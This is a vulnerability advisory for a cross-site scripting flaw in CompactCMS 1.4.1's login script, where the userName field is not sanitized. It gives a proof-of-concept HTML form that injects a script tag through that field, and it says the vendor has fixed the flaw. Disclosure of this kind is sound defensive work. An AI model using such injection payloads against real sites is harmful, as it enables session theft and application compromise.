Vulnerability ID: HTB22696 Reference: http://www.htbridge.ch/advisory/xss_in_compactcms_1.html Product: CompactCMS Vendor: compactcms.nl ( http://www.compactcms.nl/ ) Vulnerable Version: 1.4.1 Vendor Notification: 04 November 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/lib/includes/auth.inc.php" script to properly sanitize user-supplied input in "userName" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. The following PoC is available: <form action="http://[host]/lib/includes/auth.inc.php"; method="post" name="main" > <input type="hidden" name="userName" value="123"><script>alert("XSS");</script>" /> <input type="hidden" name="userPass" value="123" /> <input type="submit" value="Submit" name="submit" /> </form> Solution: Upgrade to the most recent version
